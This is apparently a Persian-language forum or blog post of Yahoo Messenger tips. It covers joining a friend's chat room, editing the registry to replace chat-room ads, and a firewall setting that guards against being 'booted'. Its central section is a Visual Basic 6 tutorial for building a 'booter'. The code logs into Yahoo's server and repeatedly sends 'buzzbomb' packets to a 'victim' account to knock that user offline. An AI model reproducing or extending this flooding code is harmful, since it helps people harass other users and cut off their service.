اگر دنبال اين هستيد که دوست شما الان تو کدوم روم هست وارد Tools یاهو مسنجرتون بشید سپس روی گزینه Yahoo! Chat برید و از منویی که جلوتون باز میشه Join User In Chat رو کلیک کنید سپس اسم آیدی مورد نظرتون رو بنویسید و وارد اتاقی که دوست شما در اون جا حضور داره بشید.
البته اگر شما طرف مقابل رو Add کرده باشید مسیرتون کوتاه تر میشه یعنی تنها با کلیک کردن دکمه سمت راست موس و انتخاب آخرین گزینه یعنی همون Join User In Chat شما میتونید وارد چت روم دوستتون بشید.

شاید تا بحال اتفاق افتاده که بعد از کلی گشتن به دنبال یک برنامه بوت خوب به این فکر کنید که اگه میتونستید خودتون یه بوتر بسازید بهترین بوتر رو می ساختید . حالا من می خواهم بهتون کمک کنم که این آرزو به واقعیت بپیوندد البته من فقط راه رو نشونتون میدم اگه میخواهید تو این راه از بقیه جلو تر باشید خودتون باید تلاش کنید . اگه یکم تلاش کنید حتی میتونید یک ربات پاسخ گو برای یاهو بنویسید .خوب واسه شروع لازمه که ویژوال بیسیک 6 رو رو سیستم خودتون نصب کنید حالا اون رو اجرا کنید و یه فرم جدید باز کنیدخوب بعد از این کار لازمه که چند تا کنترل هم به فرمتون اضافه کنید که به شرح زیر می باشد :3 تا تکست باکس به نام username و password و victim3 تا کامند باتن به نامهای connect و disconnect و boot1 لیبل به نام status که خاصیت Caption اون رو به Disconnect تغیر دهیدالبته در شکل یه سری کنترل های دیگه ای هم وجود داره که انتخوابی هستش و هرجوری که دوست دارید میتونید اونا رو ایجاد و نامگزاری کنیدیک کنترل وینساک به نام winsock1توجه نمائید برای اضافه کردن این کنترل به نوار ابزار ابتدا دکمه کنترل را به همراه دکمه T به طور همزمان فشار دهید بعد یه پنجره باز میشه که باید دنبال عبارت میکروسافت وینساک 6 بگردینخوب حالا میریم سر اصل مطلب . شما برای ایجاد بوتر نیاز به 2 تا ماژول هم دارید که اون رو میتونید ازاینجا دانلود کنید بعد باید این ماژول ها رو به پروژه خود اضافه کنید واسه همین کار از منوی ویو پروجکت اکسپلورر رو انتخواب کنید Tools -> Project Explorerحالا از پنجره سمت چپ روی نام پروژه کلیک و سپس از منوی Add عبارت ماژول Module رو انتخواب نمائیدخوب حالا یه پنجره باز میشه که دارای 2 تا تب tab هستش و شما باید تب Existing رو انتخواب و ماژول ها رو انتخواب نمائیچون امکان انتخواب همزمان 2 تا ماژول نیست طبیعی که 2 بار باید این کار رو انجام بدینحالا بریم سر اصل مطلب . روی command1 کلیک کنید و کد زیر رو وارد نمائیدWinsock1.CloseWinsock1.Connect "scs.msg.yahoo.com", 5050با این کد با فشرده شدن دکمه اول به آدرس "scs.msg.yahoo.com" ارتباط بر قرار میکنیمحالا باید بریم سروقت کنترل وین ساکروی کنترل وینساک کلیک کنید و در قسمت بالا سمت راست عبارت Connect رو انتخواب نمائیدسپس کد زیر را اضافه نمائیدstatus.Caption = "Connecting "Winsock1.SendData Get_Key(username.text)حالا همون بالا سمت راست عبارت Data Arrival رو انتخواب نمائید و کد زیر را وارد نمائیدDim Data As String, ChallengeString As StringWinsock1.GetData DataSelect Case Asc(Mid(Data, 12, 1))Case Is = 87ChallengeString = Split(Data, "94À€")(1)ChallengeString = Split(ChallengeString, "À€")(0)getencrstrings username.text,password.text, ChallengeString, Crypt(0), Crypt(1), 1Winsock1.SendData Login(username.text)SessionKey = Mid(Data, 17, 4)Case Is = 84status.Caption = "Wrong Password "Winsock1.CloseCase Is = 85status.Caption = " Connected"End SelectDebug.Print Asc(Mid(Data, 12, 1)) & " - " & Dataحالا دوباره به جای DataArivall عبارت Close رو انتخواب نمائید و کد زیر را وارد نمائیدstatus.Caption = " Disconnected."و در آخر عبارت Error رو انتخواب نمائید و کد زیر را وارد نمائیدWinsock1.closestatus.Caption = "Error Login "خوب حالا وقتی Username و Passworde یک آیدی یاهو رو بنویسید و Command1 رو فشار بدین آیدیتون آن لاین میشه و حالا نوبته بوت کردنه پس بریم سر کد بوت :حالا روی command2 کلیک کنید و کد زیر را وارد نمائیدIf Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If خوب اینم از بوت البته این تابع buzzbomb یکی از حالات بوت هستش و هر نوع بوتی یه تابع جدا هستش که کد خواصی رو داره و من سعی میکنم چند تا از این توابع رو واستون توی ماژول Packets بزارم خودتون دنبالش بگردینحالا کار ما تموم شده و می خواهیم از یاهو Disconnect بشیم . واسه این کار فقط کافیه که روی Command3 کلیک کنیم و کد زیر را وارد نمائیمstatus.Caption = " Disconnected."Winsock1.Closeخوب اینم از این مقاله , فکر می کنم مقاله خوبی باشه برای شروع . یادتون باشه که تنها چیزی که برای پیشرفت مهم هستش پشت کار هستش و شما با یه کم حوصله و پشت کار میتونید به هر جا که می خواهید برسید . فقط در آخر یه توضیح باید بدم اونم اینه که به همراه این ماژولها یه فایل با نام YMSG12ENCRYPT.dll هستش که اونو باید توی پوشه پروژتون یعنی تو همون فولدری که این پروژه رو ذخیره کردین کپی پست کنید و یه نکته هم اینکه تمام این بخشهایی که بالا توضیح دادم مثلا انتخواب DATA Arrival یا Close بعد از انتخواب یه تابع به صورت زیر باز میشه که کدهای هر بخش را باید درون ان تابع قرار دهید مثلا :Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)... محل قرار گرفتن کدها End Sub یاPrivate Sub Winsock1_Close()... محل قرار گرفتن کدها nemidonam ki va koja neveshte bod didam bahale ija copy kardam ba ejaze sahebesh

براي اين کار ابتدا رجيستري را باز مي کنيم و در آن به دنبال کليد :

Hkey_Current_User - Software - Yahoo - Pager - yurl

مي گرديم. پس از آن در پنجره اي که در سمت راست باز مي شود دو کليد از نوع رشته اي با نام هاي Chat Adurl و Conf Adurl مي سازيم (براي ساختن کليد هاي رشته اي در منوي Edit روي قسمت New کليک کرده و از منوي باز شده گزينه String Value را بر مي گزينيم ) پس از آنکه هر دو را ساختيم تک تک روي هر کدام دوبار کليک مي کنيم. در پنجره باز شده در هر دو مقداري که ساخته ايم بايد عبارت : http://www.tehranpc.com/photo/yahoo01.gif را بنويسيم. پس از اين کار رجيستري را ببنديد و ويندوز را Restart میکنیم حال پس از رفتن به اتاق هاي گفتگو (روم) ميبينيد که پس از ورود سيستم يک پيغام خطا مي دهد. اين پيغام را OK کنيد و مشاهده کنيد که ديگر تبليغي باقي نمانده که شما را در حين چت کردن آزار دهد.

خوب ...دوستان چيزی که ميخوام بهتون ياد بدم در واقع ميشه گفت يک نوع انتی بوتر
به حساب مياد .... که عمرا هيچ بوتری هم نميتونه بزنتش .... هنگامی که شما هنوز در ياهو
مسنجر ايدی خودتونو لوگين نکرديد منوی Messenger رو از بالای ياهو انتخاب کنيد
از توی اون گزينه Connection Preferences رو انتخاب کنيد حال شما 4 انتخاب داريد .... گزينه FireWallWithNoProxies رو انتخاب کنيد تا
باFire Wall ياهو On line شويد ..... بدين ترتيب شما هرگز بوت نخواهيد شد .... البته ديگرVoice هم نداريد ...
هنگامی که خطر بر طرف شد ميتونيد مراحل گفته شده رو طی کنيد و گزينه No Proxies رو انتخاب کنيد و با
شکل عادی لوگين کنيد

براي اين کار ابتدا رجيستري را باز مي کنيم و در آن به دنبال کليد :

Hkey_Current_User - Software - Yahoo - Pager - yurl

مي گرديم. پس از آن در پنجره اي که در سمت راست باز مي شود دو کليد از نوع رشته اي با نام هاي Chat Adurl و Conf Adurl مي سازيم (براي ساختن کليد هاي رشته اي در منوي Edit روي قسمت New کليک کرده و از منوي باز شده گزينه String Value را بر مي گزينيم ) پس از آنکه هر دو را ساختيم تک تک روي هر کدام دوبار کليک مي کنيم. در پنجره ای که باز میشود آدرس لوگوی خود را می دهیم (لینک آن را) برای این کا به این سایت مراجعه کنیدhttp://tinypic.com و عکس مورد نظرتان را آپلود کنید.
حالا کلید ok را میزنیمو سیستم را RESET را میزنیم تا سیستم RESET شود .حالا به روم رفته و مشاهده می کنیم که به جای تبلیغ پایین روم عکس لوگوی ما آمده است.
با تشکر از شما!!!